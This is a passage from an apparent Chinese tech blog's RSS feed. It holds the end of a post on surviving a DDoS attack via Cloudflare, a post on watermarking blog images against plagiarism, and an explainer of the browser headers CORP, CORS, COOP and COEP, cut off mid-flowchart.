&lt;p&gt;&lt;strong&gt;免费的国内CDN并不抗打&lt;/strong&gt;：就算写好WAF规则，CDN并不会清退你，但是在攻击期间网站仍会处于宕机状态。除非我们有L4权限，能在TCP握手层就丢掉攻击者的连接，否则L7层的WAF规则对于这种大规模分布式攻击效果有限。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;对于纯静态网站，防护薄弱的CDN风险很高&lt;/strong&gt;：如果部署在防护薄弱的CDN，攻击者拉出大流量不仅会导致网站短时间宕机，长时间不处理还会被CDN清退。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;此种攻击级别史无前例，目前解决方案就是切换为Cloudflare CDN&lt;/strong&gt;：因为Cloudflare体量足够大，能够抗住如此大的DDoS攻击，并保证SLA。Cloudflare曾抵御过22.2Tbps的攻击，对于这种规模的攻击完全不在话下。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;读者几乎不用担心自己的网站会被攻击&lt;/strong&gt;：此种规模的攻击明显是有组织、针对性的，攻击成本很高，几乎不可能用来泛攻击。普通网站根本没有被攻击的价值，除非你像笔者一样被&quot;盯上&quot;了。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>你需要为你的网站上水印吗？水印怎么打才有效？</title><link>https://2x.nz/posts/watermark/</link><guid isPermaLink="true">https://2x.nz/posts/watermark/</guid><description>很早之前，我得知了我的文章被盗了，当时觉得也没啥，今天又翻到当时的聊天记录，还是觉得就算文章被盗了，也应该让看文章的所有用户都知道原文章到底是谁写的</description><pubDate>Wed, 04 Feb 2026 07:21:17 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!CAUTION]
2月4号的2xss你好呀&lt;/p&gt;
&lt;p&gt;你TM加几把水印呢，还不备份，还Drop并且强制推送远端，还TM给Github发邮件让他们GC&lt;/p&gt;
&lt;p&gt;你知道老子今天从 &lt;code&gt;.edgeone&lt;/code&gt; &lt;code&gt;.astro&lt;/code&gt; 里面找缓存的没水印的原图图片有多几把难吗&lt;/p&gt;
&lt;p&gt;你真的牛大了，给我桂霞！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;这是很早之前的事了，简单来说就是有人盗了我的这一篇文章： &lt;a href=&quot;https://acofork.com/posts/edgeone/&quot;&gt;关于我折腾了一晚上 EdgeOne - AcoFork Blog&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这是他发在微信公众号上的： https://mp.weixin.qq.com/s/F4R6FtJmyHEaKkeMDI6IDw&lt;/p&gt;
&lt;p&gt;可以看到，文章纯纯是照搬，而且格式有很多明显错误，并且图片也是用的我的，甚至你还能看到上古域名 &lt;strong&gt;afo.im&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;并且不难发现，它的文章发布日期为&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/watermark-1.-jxwyKWH.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而我的文章发布日期为&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/watermark-3.D4SD2Ksm.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;有人可能会说，你是静态博客，发布日期只是一串数字，可以随便改，那么我拿出Github当时的提交记录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/watermark-4.jKKfQ6At.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;又有人可能会说了，浏览器中的HTML是可以改的，那么我给出当时的提交URL，你们可以自行查阅： &lt;a href=&quot;https://github.com/afoim/fuwari/commit/4e8fa6581466db98334d1f5a70327ab586227766&quot;&gt;posts: 发布文章：关于我折腾了一晚上 EdgeOne（ps：腾讯云我草泥马😅） · afoim/fuwari@4e8fa65&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;好的，那么至此我应该可以证明我是原作者了&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;其实被盗文章也没啥，我本身也不通过文章来盈利。但是，当我看到我自己拿我自己电脑使用QQ截的图片被发到微信公众号上并默认添加了他的水印，就有点膈应了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/watermark-5.BfHEaWSW.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我向来视我的文章如老婆，他这样一整就好像我被NTR了一样&lt;/p&gt;
&lt;p&gt;那么开始水印战争吧，我要让盗文章的就算盗了，也要让最终读者知道到底是谁做的&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;终于又到了我最喜欢的技术环节，那么既然要加水印，我最先想到的就是一个十分古老的LSB水印项目： &lt;a href=&quot;https://github.com/guofei9987/blind_watermark&quot;&gt;guofei9987/blind_watermark: Blind&amp;amp;Invisible Watermark ，图片盲水印，提取水印无须原图！&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;它的原理非常简单，就是对图像做一点很细微的改动，通过改动像素来插入一个编码后的二维码，由于二维码天生抗干扰，再加上一张正常规格的图片像素点非常多，该项目README演示了对添加水印的图片做旋转，缩放，遮挡都可以完整提取出水印&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/watermark-6.BW29H4-n.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我当场就扒下来看了看用了用，发现并不是很适用&lt;/p&gt;
&lt;p&gt;首先就是我的图片在正式在网站中展示前都会被Sharp进行压缩，虽然WEBP是个好格式，它可以大幅缩减图片大小，而质量仅下降一点点。但是对于LSB来说，你对大部分像素完全遮挡不是什么问题，但是WEBP是对整个图像进行压缩，这无疑是对所有像素进行“污染”，实测一旦通过压缩，甚至是简单的重复截图就可以完全破坏水印，而且该项目由于是专注于LSB水印，默认添加的水印也是不可见的，除非你是显微镜，否则文章被盗后甚至是平台默认加个水印，你的水印就不翼而飞了&lt;/p&gt;
&lt;p&gt;接下来我就尝试使用传统水印，由于我的博客本身在构建的时候就会使用Sharp进行压缩，Sharp本身也就是一个高效的图像合成库，我就直接拿它将我的域名作为水印覆盖到每一张图上&lt;/p&gt;
&lt;p&gt;就像这样： &lt;em&gt;这里就不配图了，因为按理来说现在全站的文章都有这个神秘的水印&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;到这应该就结束了，但是为了严谨，避免别有用心之人跑到Github上面去扒我们的历史提交，我们应当重写仓库历史提交，删除所有图片，然后在这次提交中再提交回来，并且找Github删除孤立的提交与资源文件，详见： &lt;a href=&quot;/posts/del-git-commit/&quot;&gt;如何让一个文件在Git提交中永远消失？如何丢掉其中一条提交并保持逻辑完整？ - AcoFork Blog&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;至此，应该再无任何人能得到无水印的原图了，只要我不再写完新文章后忘记运行加水印的脚本，结束&lt;/p&gt;
&lt;h1&gt;题外话&lt;/h1&gt;
&lt;p&gt;让文章不被盗是不可能的，对于文本内容，几乎无计可施，因为别有用心之人仅需爬RSS即可获取你的文章，但是对于图片，我们也只有加水印这一种方式，虽然这会让原本干净的图片变得有点遭&lt;/p&gt;
</content:encoded></item><item><title>你真的懂了浏览器跨域吗？COOP，COEP，CORP，CORS都是管什么的？</title><link>https://2x.nz/posts/coxp/</link><guid isPermaLink="true">https://2x.nz/posts/coxp/</guid><description>你是否在浏览或开发网站时在浏览器控制台看到过“由于跨域XXX，已阻止加载XXX”，或“200 Failed”状态？今天带你搞懂浏览器的跨域安全模型</description><pubDate>Mon, 02 Feb 2026 20:54:03 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;如果你做过网站（HTML），你就会知道，一个网页除了自身提供内容，如 &lt;code&gt;&amp;lt;p&amp;gt;hello world&amp;lt;/p&amp;gt;&lt;/code&gt; ，还可以 &lt;strong&gt;内嵌外链资源&lt;/strong&gt; ，如 &lt;code&gt;&amp;lt;img src=&quot;https://othersite.com/hello.webp&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;一方面，HTML允许我们非常自由的引用资源，另一方面，这也会造成一些问题&lt;/p&gt;
&lt;p&gt;我们不妨设想一下，你有一个图库站点，里面全都是高清大图，网站访问量也特别高。如果这个时候有人眼红了，也想做一个这样的站点，它可以直接通过HTML做个壳，把品牌改成自己的，然后引用你的图片，这样，它只需要托管很少的文本文件（HTML壳），而无需托管实际图片&lt;/p&gt;
&lt;p&gt;那我们肯定不能让他这样，怎么办呢，所以我们需要让我们的图片在被拉取时返回一个 &lt;strong&gt;CORP 响应头&lt;/strong&gt;，并且值为 &lt;strong&gt;same-site&lt;/strong&gt; ，这样，只要不是你的域名写 &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; ，浏览器会统统阻断加载&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/coxp-1.BQN2jcVT.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这就是 &lt;strong&gt;CORP（Cross-Origin-Resource-Policy） - 跨域资源策略&lt;/strong&gt;，它管的是 &lt;strong&gt;资源给不给用&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;same-origin&lt;/td&gt;
&lt;td&gt;同源。仅允许 &lt;code&gt;example.com&lt;/code&gt; 拉取对应资源&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;same-site&lt;/td&gt;
&lt;td&gt;同站。仅允许 &lt;code&gt;*.example.com&lt;/code&gt; &lt;code&gt;example.com&lt;/code&gt; 拉取资源&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;cross-origin&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;默认值&lt;/strong&gt;。允许所有源，任何人都可以拉取&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;好的，我们解决了图片被滥用的问题。接下来更棘手的来了，我们还有一个其他网站，不过它并不提供媒体资源，而是在访问的时候获取访客IP&lt;/p&gt;
&lt;p&gt;本来这只是你自用的一个网站，但是你发现最近后端的日志有很多乱七八糟的IP，经过一番盘查，你发现有一个网站的底部会显示访客IP，通过F12查看网络请求发现这就是请求的你的网站！&lt;/p&gt;
&lt;p&gt;接着你查看了一下这个API返回的响应头，发现你之前为了跨域调用方便设置了 &lt;code&gt;Access-Control-Allow-Origin: *&lt;/code&gt; ，该头会允许任何人调用你的API并且获取响应&lt;/p&gt;
&lt;p&gt;再然后，你将该头的值改为了 &lt;code&gt;yoursite.com&lt;/code&gt; 这样，就只允许你自己的网站来调用该API了。其他人调用依旧会被浏览器拦截&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/coxp-4.CeG6No7D.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着，你又做了个网站，并且为各个地区访问的访客配置了不同的CDN图床，你想让该网站告诉用户您正在使用什么CDN&lt;/p&gt;
&lt;p&gt;于是你灵机一动，想到各家CDN返回的响应头 &lt;strong&gt;Server&lt;/strong&gt; 的值都不一样，于是就写了一点JS读取响应头并回写到页面上，但是你发现页面上并未显示，并且网络请求是一个奇怪的状态 &lt;strong&gt;200 Failed&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;于是你思考了一下，哦！对了！由于是不同的CDN图床，且主站域名为 &lt;code&gt;blog.yoursite.com&lt;/code&gt; ，图床域名为 &lt;code&gt;img.yoursite.com&lt;/code&gt; ，会触发跨域！&lt;/p&gt;
&lt;p&gt;虽然你已经经过上次的教训正确设置了 &lt;strong&gt;Access-Control-Allow-Origin&lt;/strong&gt; 头，但是对于浏览器来说，你只是允许了别人读取我的响应体，并没有规定响应体，然后你打印了一下JS获取到的所有响应头，你发现只能读到 &lt;code&gt;Content-Type&lt;/code&gt; 等几个无关响应头，JS根本看不见 &lt;strong&gt;Server&lt;/strong&gt; 头&lt;/p&gt;
&lt;p&gt;然后你费劲千辛万苦，终于在各大CDN都配置了返回 &lt;code&gt;Access-Control-Expose-Headers: server&lt;/code&gt; ，然后，你的代码终于工作了！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/coxp-2.COvN7uS7.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着，随着你的网站越做越大，你想给网站添加一个访问量显示模块，但是由于网站本身是静态的，你又不想在全是前端代码的项目里面插后端代码，于是你很聪明，想到了搭建另一个服务，Umami，然后将追踪JS嵌入你的网站，你再通过客户端JS读取Umami的公开页面获取访问量&lt;/p&gt;
&lt;p&gt;尽管Umami的公开页面是公开的，但并不是一次请求就能成功，首先你需要先请求一个端点拿到游客token，接着携带这个游客token访问Umami访问量端点，拿到最终的访问量&lt;/p&gt;
&lt;p&gt;不过这对你来说都不是什么难事，只需要在JS写好这一整套逻辑再封装一下函数即可&lt;/p&gt;
&lt;p&gt;但是实际跑起来的时候又出问题了，由于一个是 &lt;code&gt;blog.yoursite.com&lt;/code&gt; ，而另一个是 &lt;code&gt;umami.yoursite.com&lt;/code&gt; ，由于你正确配置了 &lt;strong&gt;Access-Control-Allow-Origin 响应头&lt;/strong&gt;，所以第一个请求成功发出，JS也如期拿到了游客token&lt;/p&gt;
&lt;p&gt;问题就在第二个请求，你发现你的请求又又又被浏览器拦截了，显示 &lt;strong&gt;请求头: x-umami-share-token 不被对端允许&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你思考了一下，哦！尽管我们配置了 &lt;strong&gt;Access-Control-Allow-Origin 响应头&lt;/strong&gt; ，但也只是允许获取响应体，浏览器对于 &lt;strong&gt;发请求头&lt;/strong&gt; ，需要在Umami再配置一条 &lt;strong&gt;Access-Control-Allow-Headers 响应头&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;接着，你配置了该响应头，为了方便，你直接写了 &lt;code&gt;Access-Control-Allow-Headers: *&lt;/code&gt; ，终于，你的代码成功工作了，也拿到了正确的访问量&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/coxp-3.F_EhfJrG.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这就是 &lt;strong&gt;CORS（Cross-Origin Resource Sharing）- 跨域资源共享&lt;/strong&gt; ，它管的是 &lt;strong&gt;API给不给调，只能给谁调&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Access-Control-Allow-Origin（谁能跨域访问资源？&lt;strong&gt;默认谁都不能&lt;/strong&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许&lt;strong&gt;任意源&lt;/strong&gt;访问资源（⚠️ 不能与 &lt;code&gt;Allow-Credentials: true&lt;/code&gt; 同时使用）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;https://example.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;仅允许&lt;strong&gt;指定源&lt;/strong&gt;访问资源&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许 &lt;code&gt;Origin: null&lt;/code&gt;（如 &lt;code&gt;file://&lt;/code&gt;、沙盒 iframe）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;Access-Control-Allow-Methods（跨域访问允许的请求方式？&lt;strong&gt;默认都不允许&lt;/strong&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GET&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许 GET 请求&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;POST&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许 POST 请求&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PUT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许 PUT 请求&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DELETE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许 DELETE 请求&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PATCH&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许 PATCH 请求&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;OPTIONS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许预检请求&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GET, POST, OPTIONS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许多个方法（逗号分隔）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;Access-Control-Allow-Headers（跨域访问允许带的请求头？&lt;strong&gt;默认只允许带 &lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Glossary/CORS-safelisted_request_header&quot;&gt;列入 CORS 白名单的请求标头 - MDN Web 文档术语表：Web 相关术语的定义 | MDN&lt;/a&gt;&lt;/strong&gt; ）&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Content-Type&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许携带 &lt;code&gt;Content-Type&lt;/code&gt; 请求头&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Authorization&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许携带认证头&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;X-Custom-Header&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许指定的自定义请求头&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许&lt;strong&gt;所有请求头&lt;/strong&gt;（现代浏览器支持，主要用于非凭据请求）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;Access-Control-Allow-Credentials（跨域访问是否允许携带凭据？&lt;strong&gt;默认不允许&lt;/strong&gt; ）&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许携带凭据（Cookie / Authorization / TLS client cert）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;（不返回）&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;默认&lt;/strong&gt;不允许携带凭据&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;Access-Control-Expose-Headers（跨域访问时能读到的响应头？&lt;strong&gt;默认只能读到 &lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Glossary/CORS-safelisted_response_header&quot;&gt;列入 CORS 白名单的响应标头 - MDN Web 文档术语表：Web 相关术语的定义 | MDN&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;X-Request-Id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许 JS 读取该响应头&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Content-Length&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许 JS 读取内容长度&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;X-A, X-B&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;暴露多个响应头（逗号分隔）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;Access-Control-Max-Age（跨域访问时预检请求结果缓存多长时间（秒）？ &lt;strong&gt;默认不缓存&lt;/strong&gt; ）&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;不缓存预检请求&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;600&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;预检结果缓存 10 分钟&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;86400&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;缓存 24 小时（浏览器可能有上限）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;而对于 &lt;strong&gt;COOP和COEP&lt;/strong&gt; ，他们都是配在 &lt;strong&gt;用户正在访问的HTML上面&lt;/strong&gt; ，分别用于以下情况&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cross-Origin-Opener-Policy（COOP）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;COOP（Cross-Origin Opener Policy）&lt;/strong&gt; 是一种浏览器安全机制，用于控制&lt;strong&gt;不同页面之间是否可以共享同一个浏览器窗口上下文（browsing context）&lt;/strong&gt;。它主要影响页面与通过 &lt;code&gt;window.open()&lt;/code&gt; 打开的其他页面之间的关系，以及这些页面是否能够互相访问 &lt;code&gt;window.opener&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;当页面启用 COOP 后，浏览器会根据策略将跨源页面强制隔离到不同的浏览器进程中，使它们无法共享执行环境。这种隔离可以有效降低侧信道攻击（如 Spectre）的风险，同时防止跨站页面通过 &lt;code&gt;window.opener&lt;/code&gt; 进行劫持或信息泄露。&lt;/p&gt;
&lt;p&gt;COOP 关注的是&lt;strong&gt;页面与页面之间的隔离关系&lt;/strong&gt;，并不参与资源（如图片、脚本、视频）的加载或校验。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;th&gt;是否默认&lt;/th&gt;
&lt;th&gt;行为描述&lt;/th&gt;
&lt;th&gt;主要影响&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;unsafe-none&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅ 是&lt;/td&gt;
&lt;td&gt;不启用任何隔离&lt;/td&gt;
&lt;td&gt;跨源页面可共享 browsing context 与 &lt;code&gt;window.opener&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;same-origin&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;仅允许同源页面共享窗口与进程&lt;/td&gt;
&lt;td&gt;跨源 &lt;code&gt;window.opener&lt;/code&gt; 被置为 &lt;code&gt;null&lt;/code&gt;，强制进程隔离&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;same-origin-allow-popups&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;自身隔离，但允许弹出窗口&lt;/td&gt;
&lt;td&gt;常用于 OAuth / 支付弹窗场景&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;Cross-Origin-Embedder-Policy（COEP）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;COEP（Cross-Origin Embedder Policy）&lt;/strong&gt; 是一种用于限制页面&lt;strong&gt;如何加载和使用跨源资源&lt;/strong&gt;的安全策略。当页面启用 COEP 后，所有被嵌入的跨源资源都必须明确表态“允许被使用”，否则浏览器会阻止这些资源被页面消费。&lt;/p&gt;
&lt;p&gt;COEP 的核心目标是确保页面不会在不知情的情况下加载不受信任的跨源资源，从而避免利用共享进程或共享内存进行的攻击。它通常与资源侧声明（如 CORS 或 Cross-Origin-Resource-Policy）配合使用。&lt;/p&gt;
&lt;p&gt;COEP 并不会阻止浏览器发起网络请求，但会在资源返回后决定该资源是否可以被页面使用。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;th&gt;是否默认&lt;/th&gt;
&lt;th&gt;行为描述&lt;/th&gt;
&lt;th&gt;主要影响&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;unsafe-none&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅ 是&lt;/td&gt;
&lt;td&gt;不启用嵌入限制&lt;/td&gt;
&lt;td&gt;页面可加载任意跨源资源&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;require-corp&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;仅允许明确授权的跨源资源&lt;/td&gt;
&lt;td&gt;跨源资源必须满足 CORP 或 CORS&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h3&gt;什么时候浏览器才会检查 COOP 和 COEP？&lt;/h3&gt;
&lt;p&gt;这两个标头&lt;strong&gt;只有在页面被作为“文档（document）加载”时才会被浏览器检查&lt;/strong&gt;，通常包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;顶级页面导航（在地址栏中直接打开页面）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;iframe 中加载的文档页面&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;弹出窗口（&lt;code&gt;window.open()&lt;/code&gt; 打开的页面）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对于图片、音频、视频、脚本等&lt;strong&gt;非文档资源&lt;/strong&gt;，浏览器不会检查其响应中的 COOP 或 COEP 标头，这些资源即使返回 200 OK，也不会因此自动获得跨源使用权限。&lt;/p&gt;
&lt;p&gt;需要注意的是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;COOP&lt;/strong&gt; 在页面创建或连接 browsing context 时生效，用于决定页面之间是否可以共享窗口和进程。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;COEP&lt;/strong&gt; 在页面尝试使用嵌入资源时生效，用于判断跨源资源是否满足安全要求。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;COOP 与 COEP 的联合效果&lt;/h3&gt;
&lt;p&gt;当一个页面同时启用了 COOP 和 COEP，并且所有嵌入资源都满足对应要求时，浏览器会将该页面视为**跨源隔离（cross-origin isolated）**状态。在这种状态下，页面可以安全地使用一些高权限 Web API，例如 &lt;code&gt;SharedArrayBuffer&lt;/code&gt; 和高精度计时器。&lt;/p&gt;
&lt;h1&gt;浏览器安全模型完整流程图&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;flowchart TD
    Start([浏览器发起请求]) --&amp;gt; CheckSameOrigin{是否同源?/协议+域名+端口都相同?}
    
    CheckSameOrigin --&amp;gt;|是| SameOriginSuccess[同源请求/直接发送]:::success
    SameOriginSuccess --&amp;gt; End1([请求成功]):::success
    
    CheckSameOrigin --&amp;gt;|否| CrossOrigin[跨域请求]
    
    CrossOrigin --&amp;gt; CheckRequestType{请求类型判断}
    
    CheckRequestType --&amp;gt; SimpleCheck{是否为简单请求?/方法: GET/HEAD/POST/头部仅限安全字段/Content-Type仅限三种}
    
